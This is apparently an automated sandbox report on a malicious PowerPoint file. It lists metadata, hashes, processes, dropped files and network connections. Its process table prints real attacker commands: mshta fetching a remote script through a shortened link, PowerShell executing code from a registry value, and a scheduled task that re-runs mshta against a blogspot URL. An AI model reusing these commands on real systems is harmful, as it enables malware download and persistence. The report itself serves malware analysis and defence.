File name: | mal2.ppt |
Full analysis: | https://app.any.run/tasks/f5f19087-37b9-4115-80bd-190b672270d5 |
Verdict: | Malicious activity |
Analysis date: | November 29, 2020, 10:43:26 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-powerpoint |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: calc, Author: sexy, Keywords: office, Last Saved By: Masterofyourfather, Revision Number: 31, Name of Creating Application: Microsoft Office PowerPoint, Total Editing Time: 58:17, Create Time/Date: Wed Aug 16 01:00:00 2006, Last Saved Time/Date: Mon Nov 23 14:01:18 2020, Number of Words: 4 |
MD5: | BA434FBDF17083EDACF11531490BF75C |
SHA1: | 120D590C47C14B159EDAA499C0A76D5EE0DB73DB |
SHA256: | F6263456F6BE5D97A65E322B87F77F8527B75E8B81FD599D758BEAE5DFFDE1E5 |
SSDEEP: | 3072:KF5kYbIbuURRj6KoGNslD66G9lYPLT4pt7:KFWYC |
.pps/ppt | | | Microsoft PowerPoint document (79.7) |
---|
HeadingPairs: |
|
---|---|
TitleOfParts: |
|
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 12 |
MMClips: | - |
HiddenSlides: | - |
Notes: | 4 |
Slides: | 8 |
Paragraphs: | 4 |
Bytes: | - |
PresentationTarget: | On-screen Show (4:3) |
CodePage: | Windows Latin 1 (Western European) |
ThumbnailClip: | (Binary data 57736 bytes, use -b option to extract) |
Words: | 4 |
ModifyDate: | 2020:11:23 14:01:18 |
CreateDate: | 2006:08:16 00:00:00 |
TotalEditTime: | 58.3 minutes |
Software: | Microsoft Office PowerPoint |
RevisionNumber: | 31 |
LastModifiedBy: | Masterofyourfather |
Keywords: | office |
Author: | sexy |
Title: | calc |
CompObjUserType: | Microsoft Forms 2.0 Form |
CompObjUserTypeLen: | 25 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2208 | "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\admin\Desktop\mal2.ppt" | C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft PowerPoint Exit code: 0 Version: 14.0.6009.1000 | ||||
3912 | mshta http://%748237%[email protected]/abipandrasiolaods | C:\Windows\system32\mshta.exe | POWERPNT.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) | ||||
2904 | powershell ((gp HKCU:\Software).juggga)|IEX | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wmiprvse.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1736 | "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""lunkicharkhi"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta https://zoomba619.blogspot.com/p/18r.html""\"", 0 : window.close"\") | C:\Windows\System32\schtasks.exe | — | mshta.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2208 | POWERPNT.EXE | C:\Users\admin\AppData\Local\Temp\CVR38F0.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2208 | POWERPNT.EXE | C:\Users\admin\AppData\Local\Temp\~DFFF48D31955D449AB.TMP | — | |
MD5:— | SHA256:— | |||
3912 | mshta.exe | C:\Users\admin\AppData\Local\Temp\Cab6CA3.tmp | — | |
MD5:— | SHA256:— | |||
3912 | mshta.exe | C:\Users\admin\AppData\Local\Temp\Tar6CA4.tmp | — | |
MD5:— | SHA256:— | |||
2208 | POWERPNT.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:202B77914E13D6F5FA703A578C6F56D2 | SHA256:10B487329ED379926BA45AF778488D2EAC4CC324BA445C0632430130F173947E | |||
2208 | POWERPNT.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:0A8FCBFD5DBA0902332C09D6325972F7 | SHA256:25901BD96E210E8FE41DE0C27C4CB059824F7209C1A41488281B9E9E1D02BEB2 | |||
3912 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288B | binary | |
MD5:7EE85C8A1238C0671806E4FB3A533696 | SHA256:BEB313627D3EAC5B2519032D77AA49F51B94C2EB9A5674E17F67DDCF2C99C658 | |||
3912 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CC197601BE0898B7B0FCC91FA15D8A69_2A0B197399110211213A55119EFDCE9A | binary | |
MD5:8B8DD7F7883C903F40428D6FEFC6CE83 | SHA256:59FA655856BD3EA1CAE07D031E0766F345FEBEE923A60284B2E8A85DF8E1ED18 | |||
3912 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\8s9[1].htm | html | |
MD5:226A349692C1A1A02B6E6B7826A44433 | SHA256:15F383D6E561D3E278DF6641FFF6A11C56F064F2EF71B880F87364B8B3E2F96F | |||
3912 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\4244862144-ieretrofit[1].js | text | |
MD5:EDEEBFF6818C2780D86CAF03BC83FB3F | SHA256:0AF40FF89A987FA1E2D698645061BBBAC009205186FECFF5E6D2D1B558A6C0E8 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3912 | mshta.exe | GET | 200 | 172.217.18.3:80 | http://ocsp.pki.goog/gts1o1core/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDXYo2Lt8hPnQIAAAAAgFV%2F | US | der | 472 b | whitelisted |
3912 | mshta.exe | GET | 301 | 67.199.248.16:80 | http://j.mp/abipandrasiolaods | US | html | 135 b | shared |
3912 | mshta.exe | GET | 200 | 172.217.18.3:80 | http://ocsp.pki.goog/gts1o1core/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEAIKNcaM9Fb6AgAAAACAVbY%3D | US | der | 471 b | whitelisted |
3912 | mshta.exe | GET | 200 | 172.217.18.3:80 | http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjtJqhjYqpgSVpULg%3D | US | der | 468 b | whitelisted |
3912 | mshta.exe | GET | 200 | 172.217.18.3:80 | http://ocsp.pki.goog/gts1o1core/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQCHGce5VPZsRgIAAAAAgFYB | US | der | 472 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3912 | mshta.exe | 172.217.18.3:80 | ocsp.pki.goog | Google Inc. | US | whitelisted |
3912 | mshta.exe | 216.58.207.41:443 | www.blogger.com | Google Inc. | US | whitelisted |
3912 | mshta.exe | 216.58.207.65:443 | myrilullimotithi.blogspot.com | Google Inc. | US | whitelisted |
3912 | mshta.exe | 67.199.248.16:80 | j.mp | Bitly Inc | US | shared |
3912 | mshta.exe | 172.217.18.173:443 | accounts.google.com | Google Inc. | US | whitelisted |
Domain | IP | Reputation |
---|---|---|
j.mp |
| shared |
myrilullimotithi.blogspot.com |
| whitelisted |
ocsp.pki.goog |
| whitelisted |
www.blogger.com |
| shared |
resources.blogblog.com |
| whitelisted |
accounts.google.com |
| shared |
google.com |
| whitelisted |